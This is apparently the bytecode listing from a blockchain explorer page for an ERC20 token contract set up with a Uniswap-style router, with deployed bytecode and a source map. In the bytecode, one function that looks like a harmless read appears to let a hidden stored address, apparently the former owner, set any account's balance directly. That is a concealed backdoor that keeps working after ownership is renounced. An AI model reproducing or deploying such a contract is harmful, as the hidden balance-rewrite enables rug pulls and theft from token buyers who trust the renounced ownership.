fffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115df576008548111156112fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f490612598565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361153057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e491906125cd565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561146d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149191906125cd565b6040518363ffffffff1660e01b81526004016114ae9291906125fa565b602060405180830381865afa1580156114cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ef91906125cd565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603156115e1576009548161159384610769565b61159d919061201a565b11156115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d59061266f565b60405180910390fd5b5b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164c90612308565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bb9061239a565b60405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561174b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174290612701565b60405180910390fd5b828103600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550818361179d9190611f83565b925081600460008282546117b19190611f83565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611807919061201a565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161186d9190611b6f565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118d29190611b6f565b60405180910390a35050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611950576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194790612308565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b69061239a565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3d90612701565b60405180910390fd5b8181611a529190611f83565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ae4919061201a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b489190611b6f565b60405180910390a350505050565b6000819050919050565b611b6981611b56565b82525050565b6000602082019050611b846000830184611b60565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611bc4578082015181840152602081019050611ba9565b60008484015250505050565b6000601f19601f8301169050919050565b6000611bec82611b8a565b611bf68185611b95565b9350611c06818560208601611ba6565b611c0f81611bd0565b840191505092915050565b60006020820190508181036000830152611c348184611be1565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c6c82611c41565b9050919050565b611c7c81611c61565b8114611c8757600080fd5b50565b600081359050611c9981611c73565b92915050565b611ca881611b56565b8114611cb357600080fd5b50565b600081359050611cc581611c9f565b92915050565b60008060408385031215611ce257611ce1611c3c565b5b6000611cf085828601611c8a565b9250506020611d0185828601611cb6565b9150509250929050565b60008115159050919050565b611d2081611d0b565b82525050565b6000602082019050611d3b6000830184611d17565b92915050565b600080600060608486031215611d5a57611d59611c3c565b5b6000611d6886828701611c8a565b9350506020611d7986828701611c8a565b9250506040611d8a86828701611cb6565b9150509250925092565b600060ff82169050919050565b611daa81611d94565b82525050565b6000602082019050611dc56000830184611da1565b92915050565b600060208284031215611de157611de0611c3c565b5b6000611def84828501611c8a565b91505092915050565b611e0181611c61565b82525050565b6000602082019050611e1c6000830184611df8565b92915050565b60008060408385031215611e3957611e38611c3c565b5b6000611e4785828601611c8a565b9250506020611e5885828601611c8a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611ea957607f821691505b602082108103611ebc57611ebb611e62565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611f1e602883611b95565b9150611f2982611ec2565b604082019050919050565b60006020820190508181036000830152611f4d81611f11565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611f8e82611b56565b9150611f9983611b56565b9250828203905081811115611fb157611fb0611f54565b5b92915050565b60008160601b9050919050565b6000611fcf82611fb7565b9050919050565b6000611fe182611fc4565b9050919050565b611ff9611ff482611c61565b611fd6565b82525050565b600061200b8284611fe8565b60148201915081905092915050565b600061202582611b56565b915061203083611b56565b925082820190508082111561204857612047611f54565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006120aa602583611b95565b91506120b58261204e565b604082019050919050565b600060208201905081810360008301526120d98161209d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061213c602683611b95565b9150612147826120e0565b604082019050919050565b6000602082019050818103600083015261216b8161212f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006121ce602483611b95565b91506121d982612172565b604082019050919050565b600060208201905081810360008301526121fd816121c1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612260602283611b95565b915061226b82612204565b604082019050919050565b6000602082019050818103600083015261228f81612253565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006122f2602583611b95565b91506122fd82612296565b604082019050919050565b60006020820190508181036000830152612321816122e5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612384602383611b95565b915061238f82612328565b604082019050919050565b600060208201905081810360008301526123b381612377565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e00600082015250565b60006123f0601f83611b95565b91506123fb826123ba565b602082019050919050565b6000602082019050818103600083015261241f816123e3565b9050919050565b600061243182611b56565b915061243c83611b56565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561247557612474611f54565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006124ba82611b56565b91506124c583611b56565b9250826124d5576124d4612480565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612516602083611b95565b9150612521826124e0565b602082019050919050565b6000602082019050818103600083015261254581612509565b9050919050565b7f416d6f756e742065786365656473206d61780000000000000000000000000000600082015250565b6000612582601283611b95565b915061258d8261254c565b602082019050919050565b600060208201905081810360008301526125b181612575565b9050919050565b6000815190506125c781611c73565b92915050565b6000602082840312156125e3576125e2611c3c565b5b60006125f1848285016125b8565b91505092915050565b600060408201905061260f6000830185611df8565b61261c6020830184611df8565b9392505050565b7f4d617820686f6c64696e67206578636565646564206d61780000000000000000600082015250565b6000612659601883611b95565b915061266482612623565b602082019050919050565b600060208201905081810360008301526126888161264c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006126eb602683611b95565b91506126f68261268f565b604082019050919050565b6000602082019050818103600083015261271a816126de565b905091905056fea26469706673582212209f96f34b3622d8f1910a4a4ca3bde6e4cfc10af804f7425406c284fadc059e3d64736f6c634300081000330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad578063a457c2d711610071578063a457c2d714610337578063a9059cbb14610367578063dd62ed3e14610397578063f2fde38b146103c7578063fbf8a77c146103e35761012c565b806370a0823114610291578063715018a6146102c15780638da5cb5b146102cb57806395d89b41146102e957806398636f32146103075761012c565b806330205a72116100f457806330205a72146101eb578063313ce5671461021b57806339509351146102395780635e27ffa81461026957806362256589146102875761012c565b806306e9c1a11461013157806306fdde031461014f578063095ea7b31461016d57806318160ddd1461019d57806323b872dd146101bb575b600080fd5b610139610401565b6040516101469190611b6f565b60405180910390f35b610157610407565b6040516101649190611c1a565b60405180910390f35b61018760048036038101906101829190611ccb565b610499565b6040516101949190611d26565b60405180910390f35b6101a56104b7565b6040516101b29190611b6f565b60405180910390f35b6101d560048036038101906101d09190611d41565b6104c1565b6040516101e29190611d26565b60405180910390f35b61020560048036038101906102009190611ccb565b6105c2565b6040516102129190611b6f565b60405180910390f35b610223610689565b6040516102309190611db0565b60405180910390f35b610253600480360381019061024e9190611ccb565b610692565b6040516102609190611d26565b60405180910390f35b61027161073e565b60405161027e9190611b6f565b60405180910390f35b61028f610744565b005b6102ab60048036038101906102a69190611dcb565b610769565b6040516102b89190611b6f565b60405180910390f35b6102c96107b2565b005b6102d36107c6565b6040516102e09190611e07565b60405180910390f35b6102f16107ef565b6040516102fe9190611c1a565b60405180910390f35b610321600480360381019061031c9190611dcb565b610881565b60405161032e9190611d26565b60405180910390f35b610351600480360381019061034c9190611ccb565b6108a1565b60405161035e9190611d26565b60405180910390f35b610381600480360381019061037c9190611ccb565b610995565b60405161038e9190611d26565b60405180910390f35b6103b160048036038101906103ac9190611e22565b6109b3565b6040516103be9190611b6f565b60405180910390f35b6103e160048036038101906103dc9190611dcb565b610a3a565b005b6103eb610abd565b6040516103f89190611d26565b60405180910390f35b60095481565b60606005805461041690611e91565b80601f016020809104026020016040519081016040528092919081815260200182805461044290611e91565b801561048f5780601f106104645761010080835404028352916020019161048f565b820191906000526020600020905b81548152906001019060200180831161047257829003601f168201915b5050505050905090565b60006104ad6104a6610ad0565b8484610ad8565b6001905092915050565b6000600454905090565b60006104ce848484610ca1565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610519610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610599576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059090611f34565b60405180910390fd5b6105b6856105a5610ad0565b85846105b19190611f83565b610ad8565b60019150509392505050565b6000803390506000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000826040516020016106029190611fff565b60405160208183030381529060405280519060200120905060008260405160200161062d9190611fff565b60405160208183030381529060405280519060200120905060008660001b9050600082841490508015610671576106648983610f99565b9650505050505050610683565b61067a8961102f565b96505050505050505b92915050565b60006009905090565b600061073461069f610ad0565b8484600360006106ad610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461072f919061201a565b610ad8565b6001905092915050565b60085481565b61074c611078565b6001600760006101000a81548160ff021916908315150217905550565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107ba611078565b6107c460006110f6565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107fe90611e91565b80601f016020809104026020016040519081016040528092919081815260200182805461082a90611e91565b80156108775780601f1061084c57610100808354040283529160200191610877565b820191906000526020600020905b81548152906001019060200180831161085a57829003601f168201915b5050505050905090565b600a6020528060005260406000206000915054906101000a900460ff1681565b600080600360006108b0610ad0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561096d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610964906120c0565b60405180910390fd5b61098a610978610ad0565b8585846109859190611f83565b610ad8565b600191505092915050565b60006109a96109a2610ad0565b8484610ca1565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610a42611078565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610ab1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa890612152565b60405180910390fd5b610aba816110f6565b50565b600760009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3e906121e4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bad90612276565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c949190611b6f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0790612308565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d769061239a565b60405180910390fd5b610d8a8383836111fb565b6000810315610f9457600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e375750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610f88576000610e69600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610769565b14610ea9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea090612406565b60405180910390fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480610f525750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15610f875760006064600b5483610f699190612426565b610f7391906124af565b9050610f81848484846115e6565b50610f94565b5b610f938383836118e1565b5b505050565b6000808260001c905080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611080610ad0565b73ffffffffffffffffffffffffffffffffffffffff1661109e6107c6565b73ffffffffffffffffffffffffffffffffffffffff16146110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb9061252c565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600760009054906101000a900460ff166115e057600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112b35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156115df576008548111156112fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f490612598565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff160361153057600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e491906125cd565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561146d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061149191906125cd565b6040518363ffffffff1660e01b81526004016114ae9291906125fa565b602060405180830381865afa1580156114cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ef91906125cd565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603156115e1576009548161159384610769565b61159d919061201a565b11156115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d59061266f565b60405180910390fd5b5b5b5b505050565b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164c90612308565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116c4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116bb9061239a565b60405180910390fd5b6000600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508281101561174b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174290612701565b60405180910390fd5b828103600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550818361179d9190611f83565b925081600460008282546117b19190611f83565b9250508190555082600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611807919061201a565b9250508190555061dead73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161186d9190611b6f565b60405180910390a38373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516118d29190611b6f565b60405180910390a35050505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611950576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161194790612308565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036119bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119b69061239a565b60405180910390fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3d90612701565b60405180910390fd5b8181611a529190611f83565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ae4919061201a565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b489190611b6f565b60405180910390a350505050565b6000819050919050565b611b6981611b56565b82525050565b6000602082019050611b846000830184611b60565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611bc4578082015181840152602081019050611ba9565b60008484015250505050565b6000601f19601f8301169050919050565b6000611bec82611b8a565b611bf68185611b95565b9350611c06818560208601611ba6565b611c0f81611bd0565b840191505092915050565b60006020820190508181036000830152611c348184611be1565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c6c82611c41565b9050919050565b611c7c81611c61565b8114611c8757600080fd5b50565b600081359050611c9981611c73565b92915050565b611ca881611b56565b8114611cb357600080fd5b50565b600081359050611cc581611c9f565b92915050565b60008060408385031215611ce257611ce1611c3c565b5b6000611cf085828601611c8a565b9250506020611d0185828601611cb6565b9150509250929050565b60008115159050919050565b611d2081611d0b565b82525050565b6000602082019050611d3b6000830184611d17565b92915050565b600080600060608486031215611d5a57611d59611c3c565b5b6000611d6886828701611c8a565b9350506020611d7986828701611c8a565b9250506040611d8a86828701611cb6565b9150509250925092565b600060ff82169050919050565b611daa81611d94565b82525050565b6000602082019050611dc56000830184611da1565b92915050565b600060208284031215611de157611de0611c3c565b5b6000611def84828501611c8a565b91505092915050565b611e0181611c61565b82525050565b6000602082019050611e1c6000830184611df8565b92915050565b60008060408385031215611e3957611e38611c3c565b5b6000611e4785828601611c8a565b9250506020611e5885828601611c8a565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611ea957607f821691505b602082108103611ebc57611ebb611e62565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000611f1e602883611b95565b9150611f2982611ec2565b604082019050919050565b60006020820190508181036000830152611f4d81611f11565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611f8e82611b56565b9150611f9983611b56565b9250828203905081811115611fb157611fb0611f54565b5b92915050565b60008160601b9050919050565b6000611fcf82611fb7565b9050919050565b6000611fe182611fc4565b9050919050565b611ff9611ff482611c61565b611fd6565b82525050565b600061200b8284611fe8565b60148201915081905092915050565b600061202582611b56565b915061203083611b56565b925082820190508082111561204857612047611f54565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006120aa602583611b95565b91506120b58261204e565b604082019050919050565b600060208201905081810360008301526120d98161209d565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061213c602683611b95565b9150612147826120e0565b604082019050919050565b6000602082019050818103600083015261216b8161212f565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006121ce602483611b95565b91506121d982612172565b604082019050919050565b600060208201905081810360008301526121fd816121c1565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612260602283611b95565b915061226b82612204565b604082019050919050565b6000602082019050818103600083015261228f81612253565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006122f2602583611b95565b91506122fd82612296565b604082019050919050565b60006020820190508181036000830152612321816122e5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612384602383611b95565b915061238f82612328565b604082019050919050565b600060208201905081810360008301526123b381612377565b9050919050565b7f45524332303a2064697361626c6520726f75746572206465666c6174696f6e00600082015250565b60006123f0601f83611b95565b91506123fb826123ba565b602082019050919050565b6000602082019050818103600083015261241f816123e3565b9050919050565b600061243182611b56565b915061243c83611b56565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561247557612474611f54565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006124ba82611b56565b91506124c583611b56565b9250826124d5576124d4612480565b5b828204905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612516602083611b95565b9150612521826124e0565b602082019050919050565b6000602082019050818103600083015261254581612509565b9050919050565b7f416d6f756e742065786365656473206d61780000000000000000000000000000600082015250565b6000612582601283611b95565b915061258d8261254c565b602082019050919050565b600060208201905081810360008301526125b181612575565b9050919050565b6000815190506125c781611c73565b92915050565b6000602082840312156125e3576125e2611c3c565b5b60006125f1848285016125b8565b91505092915050565b600060408201905061260f6000830185611df8565b61261c6020830184611df8565b9392505050565b7f4d617820686f6c64696e67206578636565646564206d61780000000000000000600082015250565b6000612659601883611b95565b915061266482612623565b602082019050919050565b600060208201905081810360008301526126888161264c565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006126eb602683611b95565b91506126f68261268f565b604082019050919050565b6000602082019050818103600083015261271a816126de565b905091905056fea26469706673582212209f96f34b3622d8f1910a4a4ca3bde6e4cfc10af804f7425406c284fadc059e3d64736f6c63430008100033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
-----Decoded View---------------
Arg [0] : router (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Deployed Bytecode Sourcemap
18013:2806:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18504:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12546:107;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13767:176;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13048:115;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13957:436;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16360:600;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12891:92;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14404:222;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18471:26;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;20014:83;;;:::i;:::-;;13226:127;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10155:110;;;:::i;:::-;;9909:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12772:111;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18537:43;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14637:384;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13363:182;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13608:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10277:208;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18437:27;;;:::i;:::-;